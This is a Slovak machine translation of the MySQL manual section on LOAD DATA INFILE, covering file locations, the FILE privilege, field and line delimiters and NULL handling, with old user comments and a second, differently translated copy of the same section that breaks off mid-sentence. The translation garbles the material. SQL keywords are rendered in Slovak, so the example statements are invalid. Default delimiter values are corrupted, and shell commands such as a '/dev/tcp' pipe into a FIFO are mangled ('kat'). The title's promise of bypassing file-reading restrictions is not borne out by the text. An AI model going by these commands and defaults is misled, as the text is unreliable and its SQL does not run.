Referenčná príručka MySQL. Obídenie obmedzenia čítania súborov MySQL PHP a interakcie MySQL

NAČÍTAJTE DÁTOVÝ INFILE "file_name.txt" DO TABUĽKY tbl_name [ UZAVRETÉ ""] ] [(col_name,...)]

Príkaz LOAD DATA INFILE načíta riadky z textového súboru a veľmi vysokou rýchlosťou ich vloží do tabuľky. Ak je zadané kľúčové slovo LOCAL, súbor sa načíta z hostiteľa klienta. Ak nie je zadané LOCAL, súbor musí byť na serveri. (Voľba LOCAL je dostupná vo verzii MySQL 3.22.6 a novšej.)

Ak sa textové súbory na čítanie nachádzajú na serveri, z bezpečnostných dôvodov musia byť tieto súbory umiestnené buď v adresári databázy, alebo musia byť čitateľné pre všetkých používateľov. Okrem toho, ak chcete použiť príkaz LOAD DATA INFILE na serverových súboroch, musíte mať privilégiá FILE na hostiteľovi servera. Pozrite si časť 4.2.7 Oprávnenia udelené MySQL.

V MySQL 3.23.49 a MySQL 4.0.2 príkaz LOCAL nebude fungovať, ak je démon mysqld spustený s --local-infile=0 alebo ak klient nemá povolenú podporu LOCAL. Pozrite si časť 4.2.4 Bezpečnostné aspekty súvisiace s príkazom LOAD DATA LOCAL.

Ak je zadané kľúčové slovo LOW_PRIORITY, vykonanie tohto príkazu LOAD DATA bude odložené, kým ostatní klienti nedokončia čítanie tejto tabuľky.

Ak je pri práci s tabuľkami MyISAM zadané kľúčové slovo CONCURRENT, ďalšie vlákna môžu získať údaje z tabuľky počas vykonávania príkazu LOAD DATA. Použitie tejto funkcie bude mať, samozrejme, mierny vplyv na výkon na LOAD DATA , aj keď tabuľku nepoužíva žiadne iné vlákno súčasne.

Pri použití možnosti LOCAL môže byť vykonanie o niečo pomalšie, než keď sa serveru umožní priamy prístup k súborom, pretože obsah súboru sa musí presunúť z hostiteľa klienta na server. Na druhej strane, v tomto prípade nie sú potrebné privilégiá FILE na načítanie lokálnych súborov.

Ak používate verzie MySQL staršie ako 3.23.24, nemôžete čítať z FIFO pomocou príkazu LOAD DATA INFILE. Ak je potrebné čítať z FIFO (napríklad štandardný výstup gunzip), mal by sa použiť LOAD DATA LOCAL INFILE.

Dátové súbory môžete načítať aj pomocou pomôcky mysqlimport. Tento pomocný program vykonáva načítanie súboru odoslaním príkazov LOAD DATA INFILE na server. Voľba --local spôsobí, že mysqlimport načíta dátové súbory z hostiteľa klienta. Môžete zadať možnosť --compress, aby ste dosiahli lepší výkon v pomalých sieťach, ak klient aj server podporujú protokol kompresie údajov.

V prípadoch, keď sú súbory umiestnené na serveri, server koná podľa nasledujúcich pravidiel:

  • Ak je zadaná absolútna (úplná) cesta k súboru, server použije túto cestu bez úprav.
  • Ak je zadaná relatívna cesta k súboru s uvedením jedného alebo viacerých domovských adresárov, vyhľadávanie súboru bude relatívne k zadaným adresárom v dátovom adresári servera (datadir).
  • Ak je zadaná cesta k súboru bez zadania domovských adresárov, server vyhľadá súbor v adresári používanej databázy.

Z toho vyplýva, že súbor špecifikovaný ako `./myfile.txt" sa načíta z adresára údajov servera, zatiaľ čo súbor špecifikovaný ako `myfile.txt" sa načíta z adresára databázy, ktorý sa používa. Napríklad nasledujúci príkaz LOAD DATA načíta súbor data.txt v databázovom adresári pre db1, pretože db1 je aktuálna databáza, aj keď jej príkaz výslovne prikazuje načítať súbor do databázovej tabuľky db2:

MySQL> USE db1; mysql> NAČÍTAJ VSTUP ÚDAJOV "data.txt" DO TABUĽKY db2.my_table;

Kľúčové slová REPLACE a IGNORE riadia spracovanie vstupných záznamov, ktoré duplikujú existujúce záznamy s rovnakými jedinečnými kľúčovými hodnotami. Ak je zadané REPLACE, nové riadky nahradia existujúce riadky rovnakým jedinečným kľúčom. Ak zadáte IGNORE , vstupné riadky, ktoré majú rovnaký jedinečný kľúč ako existujúce, budú ignorované. Ak nie je zadaný ani jeden parameter, pri nájdení duplicitnej hodnoty kľúča sa vyskytne chyba a zvyšok textového súboru sa ignoruje.

Ak sa údaje načítavajú z lokálneho súboru pomocou kľúčového slova LOCAL, potom server nebude môcť prerušiť prenos údajov uprostred tejto operácie, takže predvolené správanie príkazu je rovnaké ako pri zadaní IGNORE.

Pri použití LOAD DATA INFILE na prázdnych tabuľkách MyISAM sa všetky nejedinečné indexy vytvoria v samostatnom balíku (ako v REPAIR). To zvyčajne výrazne urýchli operáciu LOAD DATA INFILE v prípade veľkého počtu indexov.

Príkaz LOAD DATA INFILE dopĺňa príkaz SELECT...INTO OUTFILE. Pozrite si časť 6.4.1 Syntax príkazu SELECT. Na zápis údajov z databázy do súboru použite SELECT ... INTO OUTFILE . Na načítanie údajov späť do databázy sa používa LOAD DATA INFILE. Syntax pre FIELDS a LINES je v oboch príkazoch rovnaká. Obidve časti sú voliteľné, ale ak sú zadané obe, potom FIELDS musia predchádzať LINES .

Ak je zadané FIELDS, potom každý z jeho podvýrazov (TERMINATED BY, ENCLOSED BY a ESCAPED BY ) je tiež voliteľný, ale musí byť špecifikovaný aspoň jeden z nich.

Ak tvrdenie FIELDS nie je definované, jeho parametre budú mať štandardne nasledujúce hodnoty:

POLIA UKONČENÉ ODDIELOM „\t“ UZAVRETÉ ODKAZOM „“ UKONČENÉ ODKAZOM „\\“

Ak klauzula LINES nie je definovaná, potom má štandardne nasledujúcu štruktúru:

RIADKY UKONČENÉ ZNAČKOM „\n“

Inými slovami, s predvolenými nastaveniami bude príkaz LOAD DATA INFILE pri čítaní vstupných údajov fungovať nasledovne:

  • Hľadajte konce riadkov ako znaky `\n'
  • Rozdeľte riadky do polí podľa znakov tabulátora.
  • Neočakávajte, že polia budú uzavreté v úvodzovkách.
  • Interpretujte výskyt tabulátorov, nových riadkov alebo znaku „\“, pred ktorým je znak „\“, ako literálov, ktoré sú súčasťou hodnoty poľa.

Naopak, ak sú platné predvolené nastavenia pre výstup zápisu, príkaz SELECT ... INTO OUTFILE bude fungovať nasledovne:

  • Vložte znaky tabulátora medzi polia.
  • Neuzatvárajte polia do úvodzoviek. Použite znaky `\" na ukončenie tabulátora, nového riadku alebo inštancií `\", ktoré sa objavujú medzi hodnotami polí.
  • Vložte znaky nového riadku na koniec každého záznamu.

Všimnite si, že položka FIELDS ESCAPED BY `\" vyžaduje dve spätné lomky, aby sa hodnota prečítala ako jedna spätná lomka.

Voľba IGNORE number LINES sa dá použiť na ignorovanie hlavičky názvov stĺpcov na začiatku súboru:

Mysql> LOAD DATA INFILE "/tmp/file_name" DO TABUĽKY test IGNOROVAŤ 1 RIADOK;

Pri použití SELECT ... INTO OUTFILE s LOAD DATA INFILE na čítanie údajov z databázy do súboru a potom späť zo súboru do databázy sa musia možnosti spracovania polí a riadkov pre oba príkazy zhodovať. V opačnom prípade nebude funkcia LOAD DATA INFILE schopná správne interpretovať obsah tohto súboru. Predpokladajme, že príkaz SELECT ... INTO OUTFILE sa používa na zápis do súboru s poľami oddelenými čiarkami:

Mysql> SELECT * INTO OUTFILE "data.txt" POLIA UKONČENÉ "," FROM ...;

Mysql> NAČÍTAJTE DÁTOVÝ VNÚTORNÝ SÚBOR "data.txt" DO TABUĽKY POLE tabuľka2 UKONČENÉ ",";

Mysql> NAČÍTAJTE DÁTOVÝ VNÚTORNÝ SÚBOR "data.txt" DO TABUĽKY POLE tabuľka2 UKONČENÉ "\t";

Podobný výsledok by sa dosiahol, ak by sa každý vstupný riadok interpretoval ako samostatné pole.

Príkaz LOAD DATA INFILE možno použiť aj na čítanie súborov z externých zdrojov. Napríklad polia v súbore formátu databázy dBASE budú oddelené čiarkami a uzavreté v úvodzovkách. Ak sa riadky v tomto súbore končia novými riadkami, na zápis súboru možno použiť nasledujúci príkaz, ktorý ilustruje možnosti nastavenia, ktoré spracovávajú polia a riadky:

Mysql> NAČÍTAJTE DÁTOVÝ VSTUP "data.txt" DO TABUĽKY tbl_name POLE UKONČENÉ "," ZAHRNUTÉ """ RIADKY UKONČENÉ "\n";

Každá z možností, ktoré spracovávajú polia a riadky, môže byť prázdny reťazec (""). Ak reťazec nie je prázdny, hodnoty možností FIELDS ENCLOSED BY a FIELDS ESCAPED BY musia obsahovať jeden znak. Hodnoty možností POLE UKONČENÉ OD a RIADKY UKONČENÉ BY môžu obsahovať viac ako jeden znak. Napríklad, ak chcete napísať riadky končiace na ``carriage return - line feed'' (ako v textových súboroch MS DOS alebo Windows), mali by ste zadať nasledujúci výraz: RIADKY UKONČENÉ "\r\n" .

CREATE TABLE vtipy (INT NOT NULL AUTO_INCREMENT PRIMÁRNY KEY, vtip TEXT NOT NULL); NAČÍTAJTE DÁTOVÝ VSTUPNÝ SÚBOR "/tmp/jokes.txt" DO TABUĽKÝCH POLI žartov UKONČENÝCH Z ""; RIADKY UKONČENÉ "\n%%\n" (vtip);

Možnosť FIELDS ENCLOSED BY ovláda polia, ktoré sú ohraničené danými znakmi. Ak je parameter OPTIONALLY vynechaný, potom vo výstupe (SELECT ... INTO OUTFILE) budú všetky polia uzavreté do znakov špecifikovaných v ENCLOSED BY . Príklad takéhoto výstupu (ktorý používa ako oddeľovač polí čiarku) je uvedený nižšie:

"1","reťazec","100.20" "2","reťazec obsahujúci , čiarku","102.20" "3","reťazec obsahujúci \"úvodzovku","102.20" "4"," reťazec obsahujúci \", úvodzovka a čiarka","102.20"

Ak je zadaný parameter OPTIONALLY, potom sa vyberú iba polia typu CHAR a VARCHAR so znakom špecifikovaným v ENCLOSED BY:

1,"reťazec",100,20 2,"reťazec obsahujúci , čiarku",102,20 3,"reťazec obsahujúci \"úvodzovku",102,20 4,"reťazec obsahujúci \", úvodzovku a čiarku",102,20

Upozorňujeme, že výskyt znakov ENCLOSED BY vo vnútri hodnoty poľa sa vynechá použitím predpony z ESCAPED BY pred nimi. Všimnite si tiež, že ak má ESCAPED BY hodnotu null, je možné vygenerovať výstup, ktorý príkaz LOAD DATA INFILE nedokáže prečítať správne. Ak je napríklad únikový znak prázdny reťazec, výstup vyššie bude taký, ako je uvedené nižšie. Všimnite si, že druhé pole na štvrtom riadku obsahuje čiarku, za ktorou nasleduje úvodzovka, ktorá (chybne) vymedzuje dané pole:

1,"reťazec",100.20 2,"reťazec obsahujúci , čiarku",102.20 3,"reťazec obsahujúci "citát",102.20 4,"reťazec obsahujúci ", citát a čiarku",102.20

Pre vstup je z oboch koncov hodnôt poľa odstránený znak ENCLOSED BY, ak je prítomný. (To platí bez ohľadu na to, či je parameter OPTIONALLY zadaný alebo nie: parameter OPTIONALLY sa pri práci so vstupom ignoruje.) Ak sa vyskytne znak ENCLOSED BY, ktorému predchádza znak ESCAPED BY, interpretuje sa ako súčasť aktuálneho poľa hodnotu. Okrem toho, dvojité ENCLOSED BY znaky vyskytujúce sa v poli sa interpretujú ako jednotlivé ENCLOSED BY znaky, ak samotné pole začína týmto znakom. Napríklad, ak je zadané ENCLOSED BY """, s úvodzovkami sa zaobchádza takto:

""VEĽKÝ" šéf" -> "VEĽKÝ" šéf "VEĽKÝ" šéf -> "VEĽKÝ" šéf ""VEĽKÝ" šéf -> "VEĽKÝ" šéf

Možnosť FIELDS ESCAPED BY ovláda písanie alebo čítanie špeciálnych znakov. Ak znak FIELDS ESCAPED BY nie je prázdny, použije sa ako predpona pre nasledujúce znaky vo výstupe:

  • POLIA UNIKNUTÉ symbolom
  • POLIA ZAHRNUTÉ symbolom
  • Prvý znak polí FIELDS TERMINED BY a LINES TERMINED BY
  • ASCII znak 0 (v skutočnosti sa ASCII „0“ zapisuje za znak escape, nie bajt s nulovou hodnotou)

Ak je znak FIELDS ESCAPED BY prázdny, potom sa neuvádzajú žiadne znaky. V skutočnosti nemá zmysel špecifikovať prázdny znak escape, najmä ak hodnoty polí v spracovávaných údajoch obsahujú niektorý zo znakov vo vyššie uvedenom zozname.

Ak znak FIELDS ESCAPED BY nie je prázdny, potom sa v prípade vstupu výskyty takéhoto znaku odstránia a znak nasledujúci po takomto výskyte sa berie doslovne ako súčasť hodnoty poľa. Výnimky sú označené ako „0“ alebo „N“ (napr. \0 alebo \N, ak je únikový znak „\“). Tieto sekvencie sa interpretujú ako ASCII 0 (bajt s hodnotou nula) a NULL . Pozrite si pravidlá pre spracovanie nižšie uvedenej nulovej hodnoty.

Ďalšie informácie o syntaxi znaku escape `\" nájdete v časti 6.1.1 Literály: Reprezentácia reťazcov a čísel.

V niektorých prípadoch sa možnosti spracovania polí a riadkov vzájomne ovplyvňujú:

  • Ak je LINES TERMINATED BY prázdny reťazec a FIELDS TERMINATED BY je neprázdny reťazec, potom riadky tiež končia reťazcom FIELDS TERMINATED BY .
  • Ak sú polia TERMINATED BY a FIELDS ENCLOSED BY prázdne (""), potom sa použije formát pevného reťazca (bez oddeľovačov). Formát pevného reťazca neposkytuje žiadne oddeľovače medzi poľami. Namiesto toho sa pri čítaní a zápise hodnôt stĺpcov používa "výstupná"" šírka stĺpcov. Napríklad, ak je stĺpec deklarovaný ako INT(7) , hodnoty pre tento stĺpec sa zapíšu pomocou polí širokých 7 znakov. Vstupné hodnoty pre tento stĺpec sa získajú prečítaním 7 znakov. Formát pevného reťazca tiež ovplyvňuje spracovanie hodnôt NULL (pozri nižšie). Upozorňujeme, že formát pevnej veľkosti nebude fungovať pri použití viacbajtovej znakovej sady.

S hodnotami NULL sa bude zaobchádzať odlišne v závislosti od použitých možností FIELDS a LINES:

  • Pre predvolené hodnoty FIELDS a LINES sa NULL zapíše ako \N na výstup a \N sa načíta ako NULL na vstupe (za predpokladu, že znak ESCAPED BY je `\").
  • Ak pole FIELDS ENCLOSED BY nie je prázdne, pole, ktorého hodnota je slovo s NULL písmenami, sa číta ako hodnota NULL (na rozdiel od NULL slova medzi znakmi FIELDS ENCLOSED BY, ktoré sa číta ako reťazec „ NULL “).
  • Ak je pole FIELDS ESCAPED BY prázdne, NULL sa zapíše ako slovo NULL.
  • Vo formáte pevného reťazca (ktorý nastane, ak sú špecifikátory FIELDS TERMINATED BY a FIELDS ENCLOSED BY prázdne), NULL sa zapíše ako prázdny reťazec. Všimnite si, že v dôsledku toho bude hodnota NULL a prázdny reťazec v tejto tabuľke pri zápise do súboru nerozoznateľné, pretože sú oba zapísané ako prázdne reťazce. Ak chcete, aby sa tieto hodnoty pri spätnom čítaní súboru líšili, nemali by ste používať formát pevného reťazca.

Niektoré prípady nie sú podporované príkazom LOAD DATA INFILE:

  • Riadky s pevnou veľkosťou (FIELDS TERMINATED BY a FIELDS ENCLOSED BY sú prázdne) a stĺpce BLOB alebo TEXT.
  • Ak je zadaný oddeľovač, ktorý sa zhoduje s iným alebo je jeho predponou, potom LOAD DATA INFILE nebude môcť vstup správne interpretovať. Napríklad nasledujúci príkaz FIELDS spôsobí problémy: FIELDS TERMINED BY """ ENCLOSED BY """
  • Ak je možnosť FIELDS ESCAPED BY prázdna, potom výskyt znaku FIELDS ENCLOSED BY alebo LINES TERMINATED BY v hodnote poľa nasledovaný znakom FIELDS TERMINATED BY spôsobí, že príkaz LOAD DATA INFILE predčasne ukončí čítanie poľa alebo riadku. Je to preto, že LOAD DATA INFILE nedokáže správne určiť, kde končí pole alebo riadok.

Nasledujúci príklad načíta všetky stĺpce tabuľky osobných údajov:

Mysql> NAČÍTAJTE VSTUP ÚDAJOV "persondata.txt" DO TABUĽKY osobné údaje;

Zoznam polí nie je špecifikovaný, takže príkaz LOAD DATA INFILE očakáva, že vstupné riadky vyplnia každý stĺpec tabuľky. Toto používa predvolené hodnoty FIELDS a LINES.

Ak chcete načítať iba niektoré stĺpce tabuľky, musíte zadať zoznam stĺpcov:

Mysql> NAČÍTAJTE DÁTOVÝ INFILE "persondata.txt" DO TABUĽKY persondata (col1,col2,...);

Zoznam polí je potrebné špecifikovať aj v prípadoch, keď sa poradie polí vo vstupnom súbore líši od poradia stĺpcov v danej tabuľke. V opačnom prípade MySQL nebude môcť mapovať vstupné polia na stĺpce tabuľky.

Ak má riadok príliš málo polí, stĺpce, pre ktoré nie sú vo vstupnom súbore žiadne polia, sa nastavia na predvolené hodnoty. Priradenie predvolených hodnôt je popísané v časti 6.5.3 Syntax príkazu CREATE TABLE.

Hodnota prázdneho poľa sa interpretuje inak ako neprítomnosť hodnoty:

  • Pre typy reťazcov je stĺpec nastavený na prázdny reťazec.
  • Pre číselné typy je stĺpec nastavený na 0 .
  • Pre typy dátumu a času je stĺpec nastavený na príslušnú hodnotu „nula“' pre daný typ. Pozrite si časť 6.2.2 Typy údajov dátumu a času.

Všimnite si, že ide o rovnaké hodnoty, ktoré by skončili v stĺpci, ak by ste v príkaze INSERT alebo UPDATE explicitne priradili prázdny reťazec stĺpcom typu reťazec, číselný údaj alebo typ dátumu alebo času.

Stĺpce TIMESTAMP sú nastavené na aktuálny dátum alebo čas iba vtedy, ak je stĺpec nastavený na hodnotu NULL alebo (iba pre prvý stĺpec TIMESTAMP), ak je stĺpec TIMESTAMP mimo zoznamu polí, ak je takýto zoznam zadaný.

Ak má vstupný reťazec príliš veľa polí, ďalšie polia sa ignorujú a počet upozornení sa zvýši.

Príkaz LOAD DATA INFILE interpretuje všetky vstupné údaje ako reťazce, takže nemôžete zadať číselné hodnoty pre stĺpce ENUM alebo SET rovnakým spôsobom ako pre príkazy INSERT. Všetky hodnoty ENUM a SET musia byť špecifikované ako reťazce!

Keď používate C API, môžete získať informácie o dotaze volaním funkcie mysql_info() API na konci dotazu LOAD DATA INFILE. Nasledujúci text zobrazuje formát informačného riadku pre tento prípad:

Záznamy: 1 Zmazané: 0 Preskočené: 0 Varovania: 0

Varovania sa vydávajú za rovnakých okolností ako pri zápise hodnôt pomocou príkazu INSERT (pozrite si časť 6.4.3 Syntax príkazu INSERT), okrem toho, že príkaz LOAD DATA INFILE dodatočne generuje varovania, keď je na vstupe príliš málo alebo príliš veľa polí. reťazec. Varovania nie sú nikde uložené; počet varovaní je možné použiť len na kontrolu, či boli špecifikované akcie dokončené normálne. Ak chcete presne vedieť, čo spôsobuje varovania, mali by ste VYBRAŤ ... DO OUTFILE do iného súboru a porovnať výsledok s pôvodným vstupným súborom - len tak získate tieto informácie.

Ak potrebujete načítať údaje na čítanie z potrubia, môžete použiť nasledujúci trik:

Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "NAČIŤ VSTUP ÚDAJOV "x" DO TABUĽKY x" x

Ak používate verziu MySQL staršiu ako 3.23.25, vyššie uvedené je možné vykonať iba pomocou LOAD DATA LOCAL INFILE .

Viac informácií o efektívnosti INSERT oproti LOAD DATA INFILE a náraste rýchlosti LOAD DATA INFILE nájdete v časti 5.2.9 Rýchlosť vykonávania dotazu INSERT.

Komentáre používateľov

Uverejnil Jason Titus[Odstrániť][Upraviť]

„Výstrahy nie sú nikde uložené, počet výstrah je možné použiť len ako
indikácia, či všetko prebehlo v poriadku"

To si zo mňa robíš srandu. Robí sa to ako nejaký druh trestu DBA? t.j. - My
VEDIETE, aké boli problémy, ale budete musieť vytvoriť výstupný súbor a prezrieť si ho
vaše milióny záznamov, aby ste ich našli."
kam patria? Pokračujte a urobte z toho možnosť, ale je to dosť problémov
prepnem späť na Oracle (a to si vyžaduje veľa).

Uverejnil campbell v piatok 17. mája 2002, @6:24am[Odstrániť][Upraviť]

Po druhé. (!) Nerozumiem ako ty
napíš tú vetu s otvorenou tvárou.

Uverejnil Jonathon Padfield v piatok 17. mája 2002, @6:24am[Odstrániť][Upraviť]

Tiež žiadne informácie o tom, ktoré riadky sú preskočené
je dané.

Uverejnené v piatok 17. mája 2002, 6:24[Odstrániť][Upraviť]

Táto funkcia je veľmi užitočná pri odosielaní
INSERT z webovej stránky. Ak používateľ zasiahne
obnoviť a znova odoslať údaje formulára, čo vedie k a
následné VLOŽENIE tých istých údajov primárneho kľúča,
bum, aplikácia sa prerušuje. Týmto spôsobom by používateľ mohol
stlačte F5, kým ich tvár nezmodrie, a oni
neporuší príkaz REPLACE.

[Odstrániť][Upraviť]

Mám priečinok MyDB v c:\mysql\data
Umiestnim tam Data.txt a keď spustím
NAČÍTAJTE ÚDAJE LOKÁLNY VSTUP "Data.txt" DO TABUĽKY
MyTable hovorí: Príkaz bol úspešne vykonaný
ale do MyTable sa nepridajú ŽIADNE hodnoty.
Som pod W2K

Uverejnil van hoof philip v piatok 17. mája 2002, @6:24am[Odstrániť][Upraviť]

Chcem synchronizovať svoju databázu s inou
z času na čas. To znamená, že ja
bude musieť použiť vec REPLACE. Ale čo už
záznamy, ktoré v novších už neexistujú
databázy. Budú zmazané v MySQL?
Existuje spôsob, ako tieto položky automaticky odstrániť? Alebo je
jediné riešenie, ako zrušiť moju tabuľku MySQL a znova ju vytvoriť
predtým, než to začnem NAČÍTAŤ. Používam crontab
skripty pre túto operáciu, takže žiadna ľudská interakcia
je možné počas týchto operácií.

Uverejnené v piatok 17. mája 2002, 6:24[Odstrániť][Upraviť]

Dokumentácia je nejasná o čom
predstavuje „jedinečný“ kľúč/index v tejto oblasti. to
spätné odkazy na "vložiť", ale vložiť nie
mať takéto obmedzenie. Našiel som toho primára
kľúče sú dostatočne jedinečné, ale musel som pridať
primárky, kde som ich nechcel. Možno som
niečo chýba....

Uverejnené v piatok 17. mája 2002, 6:24[Odstrániť][Upraviť]

Je veľmi frustrujúce dostať varovania, keď je to tak
import údajov do databázy MySQL
mať prístup k akýmkoľvek informáciám o varovaniach.
MySQL skutočne potrebuje pridať funkciu, ktorá bude
nahláste, o čom je varovanie, nie len
nahlásiť varovanie. Ideálne informácie o
varovanie by sa malo poskytnúť okamžite. O
prinajmenšom nejaký chybový protokol by mal byť
vytvorené, ku ktorým má používateľ prístup.

Uverejnené v piatok 17. mája 2002, 6:24[Odstrániť][Upraviť]

Na tému „F5, kým sa im tvár nezmodrie“...

Toto by sa malo riešiť v aplikácii. to
určite nezaškodí povedať používateľovi: „Vy“
už to zadal. Prosím, prestaňte obnovovať."

Vlastne kvôli počtu hypernetrpezlivých konca
porazených tam vonku, to vyzerá ako obzvlášť
dobrý nápad.

Uverejnil Larry Irwin v utorok 20. augusta 2002 o 11:50[Odstrániť][Upraviť]

Bolo by veľmi užitočné mať ďalšiu možnosť
na "IGNORUJ OBMEDZENIA" počas načítania
proces.

Uverejnené vo štvrtok 5. septembra 2002, 1:34 ráno[Odstrániť][Upraviť]

Je tu háčik s „na prázdnom stole MyISAM, všetko
nejedinečné indexy sa vytvárajú v samostatnej dávke"
keďže použitý mechanizmus je „oprava s
keycache“, ktorá môže byť veľmi pomalá, ak ich máte veľa
indexy. Na to naozaj treba použiť mechanizmus
zastavte vytváranie kľúčov a potom vykonajte opravu pomocou
myisamchk pomocou "opraviť s triedením", ako je opísané v
časť 5.2.9 (ak to dokážete spustiť:-()

Uverejnené stredou 9. októbra 2002, 12:43[

Syntax LOAD DATA INFILE

LOAD DATA INFILE" názov súboru. txt“ DO TABUĽKY názov_tabuľky
[UZAVRETÉ"]
]
]
[(názov_stĺpca,...)]
Príkaz LOAD DATA INFILE načíta riadky z textového súboru a veľmi vysokou rýchlosťou ich načíta do tabuľky.
Dátové súbory môžete načítať aj pomocou nástroja na import mysql. Funguje tak, že sa na server odošle príkaz LOAD data INFILE. Voľba --local spôsobí, že pomocný program mysqlimport načíta dátový súbor z hostiteľa klienta. Môžete zadať voľbu -compress na zlepšenie výkonu v pomalých sieťach, ak klient a server podporujú komprimovaný protokol.
Ak je zadané kľúčové slovo LOW_PRIORITY, vykonanie príkazu LOAD DATA sa oneskorí, kým všetci ostatní klienti nedokončia čítanie.
Ak je kľúčové slovo CONCURRENT zadané s tabuľkou MyISAM, ktorá spĺňa podmienku paralelných vložení (to znamená, že v strede súboru nemá žiadne voľné bloky), ostatné vlákna budú môcť získať údaje z tabuľky v rovnakom čase, Spustí sa LOAD DATA. Použitie tejto voľby má mierny vplyv na výkon na LOAD DATA, aj keď s touto tabuľkou nepracuje žiadne iné vlákno.
Ak je zadané kľúčové slovo LOCAL, vzťahuje sa na stranu klienta pripojenia.

  1. Ak je zadané slovo LOCAL, súbor načíta klientsky program na hostiteľskom počítači klienta a odošle ho na server.
  2. Ak nie je zadané slovo LOCAL, nahraný súbor sa musí nachádzať na hostiteľovi servera a server ho číta priamo.

LOCAL je k dispozícii v MySQL 3.22.6 a novších verziách.
Z bezpečnostných dôvodov pri čítaní textových súborov umiestnených na serveri musia byť súbory buď v dátovom adresári, alebo musia byť čitateľné pre každého. Ak chcete použiť LOAD DATA so súbormi servera, musíte mať privilégium FILE.
Sťahovanie pomocou možnosti LOCAL je o niečo pomalšie, ako keď serveru poskytnete možnosť priameho prístupu k stiahnutým súborom, pretože v tomto prípade sa obsah súborov prenáša cez sieť cez server klient-server na správnom pripojení. Na druhej strane v tomto prípade nepotrebujete privilégiá FILE.
Počnúc MySQL 3.23.49 a MySQL 4.0.2 (4.0.13 v systéme Windows) LOCAL funguje iba vtedy, ak to umožňuje klient aj server. Napríklad, ak je mysqld spustený s voľbou -local-inf ile=0, potom LOCAL nebude fungovať.

Ak potrebujete použiť LOAD DATA na čítanie z programového kanála, môžete použiť nasledujúcu techniku:
mkfifo /mysql/db/x/x
chmod 666 /mysql/db/x/x
kat< /dev/tcp/10.1.1.12/4711 >/mysql/db/x/x
mysql -e "NAČÍTAŤ VSTUP ÚDAJOV "x1 DO TABUĽKY x" x
Ak používate verziu MySQL staršiu ako 3.23.25, túto techniku ​​možno použiť len s LOAD DATA LOCAL INFILE.
Ak máte verziu MySQL staršiu ako 3.23.24, nebudete môcť čítať pomocou príkazu LOAD DATA INFILE z FIFO. Ak potrebujete čítať z FIFO (napr. výstup gunzip), použite namiesto toho LOAD DATA LOCAL INFILE.
Pri vyhľadávaní súboru vo svojom súborovom systéme sa server riadi nasledujúcimi pravidlami:

  1. Ak je zadaná absolútna cesta, server ju použije tak, ako je.
  2. Ak je zadaná relatívna cesta s jedným alebo viacerými vedúcimi komponentmi, server hľadá súbory relatívne k svojmu dátovému adresáru.
  3. Ak je zadaný názov súboru bez komponentov úvodnej cesty, server vyhľadá súbor v predvolenom adresári údajov databázy.

Všimnite si, že tieto pravidlá znamenajú, že súbor s názvom ./myfile.txt sa číta z adresára údajov servera, zatiaľ čo súbor s názvom myfile,txt sa číta z predvoleného adresára údajov databázy. Napríklad nasledujúci príkaz LOAD DATA INFILE načíta súbor data.txt z adresára údajov databázy dbl, pretože dbl je aktuálna databáza, aj keď príkaz načítava údaje do databázy db2:
mysql> POUŽÍVAŤ dbl;
mysql> NAČÍTAJTE VSTUP ÚDAJOV "data.txt" DO TABUĽKY db2.my_table;
Kľúčové slová REPLACE a IGNORE riadia spracovanie vstupných reťazcov, ktoré duplikujú existujúce jedinečné kľúče podľa hodnoty.
Ak je zadané REPLACE, vstupné riadky nahradia existujúce riadky (inými slovami, riadky, ktoré majú rovnaké primárne alebo jedinečné hodnoty kľúča ako existujúce riadky v tabuľke). Pozrite si REPLACE Syntax
Ak je zadané IGNORE, vstupné riadky, ktoré duplikujú existujúce riadky s rovnakými hodnotami primárneho alebo jedinečného kľúča, sa ignorujú. Ak nie je zadaná ani jedna možnosť, správanie závisí od toho, či je zadané lokálne kľúčové slovo. Ak chýba LOCAL, pri nájdení duplicitného kľúča sa vygeneruje chyba a zvyšok textového súboru sa ignoruje. Ak je prítomné LOCAL, predvolené správanie je rovnaké, ako keby bolo zadané IGNORE. Je to preto, že server nemôže zastaviť prenos súborov, kým táto operácia prebieha.
Ak chcete počas operácie načítania údajov ignorovať obmedzenia cudzieho kľúča, pred spustením LOAD DATA môžete vydať príkaz SET FOREIGN_KEY_CHECKS=0.
Ak spustíte LOAD DATA na prázdnej tabuľke MyISAM, všetky nejedinečné indexy sa vytvoria v samostatnej úlohe (ako pre REPAIR TABLE). To zvyčajne vedie k tomu, že LOAD DATA je oveľa rýchlejšie, keď existuje veľa indexov. Vo všeobecnosti je to veľmi rýchle, ale v niektorých špeciálnych prípadoch môžete indexy vytvárať ešte rýchlejšie tak, že ich vypnete pomocou ALTER TABLE.. .DISABLE KEYS pred načítaním

po dokončení načítania znova vytvoríte indexy a povolíte ich pomocou ALTER TABLE.. .
LOAD DATA INFILE je doplnkom k SELECT.. .INTO OUTFILE. Pozri SELECT Syntax Ak chcete zapisovať údaje z tabuľky do súboru, použite SELECT... INTO OUTFILE. Ak chcete načítať údaje späť zo súboru do tabuľky, použite LOAD DATA INFILE. Syntax konštruktov FIELDS a LINES je pre oba príkazy rovnaká. Obidva tieto konštrukcie sú voliteľné, ale polia musia predchádzať LINES, ak sú zadané obe.
Ak je zadaný konštrukt FIELDS, všetky jeho parametre (TERMINATED BY, ENCLOSED BY a ESCAPED BY) sú tiež voliteľné, s výnimkou požiadavky, že musí byť prítomný aspoň jeden parameter.
Ak nie je zadaný konštrukt FIELDS, predvolene je:
POLIA UKONČENÉ „tf ENCLOSED BY „UNIKNUTÉ BY“
Ak nie je zadané LINES, predvolená hodnota je:
RIADKY UKONČENÉ „n! ZAČÍNAJÚCE“
Inými slovami, predvolené správanie LOAD DATA INFILE pri čítaní vstupu je:

  1. Hľadajte oddeľovače riadkov na začiatku riadkov.
  2. Nevynechávajte žiadne predpony reťazcov.
  3. Rozdeľte riadok na polia podľa znakov tabulátora.
  4. Nečakajte, že polia budú citované.
  5. Interpretujte výskyt tabulátora, nového riadku alebo "\", pred ktorými je znak \, ako doslovné znaky, ktoré sú súčasťou hodnoty poľa.

Naopak, SELECT ... INTO OUTFILE sa štandardne správa takto:

  1. Zapisuje tabulátory medzi polia.
  2. Neohraničuje hodnoty polí úvodzovkami.
  • Používa *" na zvýraznenie tabulátorov, nových riadkov alebo "\" vyskytujúcich sa v hodnotách polí.
  • Zapíše znak nového riadku na koniec riadkov.
Všimnite si, že písanie FIELDS ESCAPED BY „W by vyžadovalo dve spätné lomky pre hodnoty, ktoré potrebujú prečítať jednu spätnú lomku.
Na poznámku!
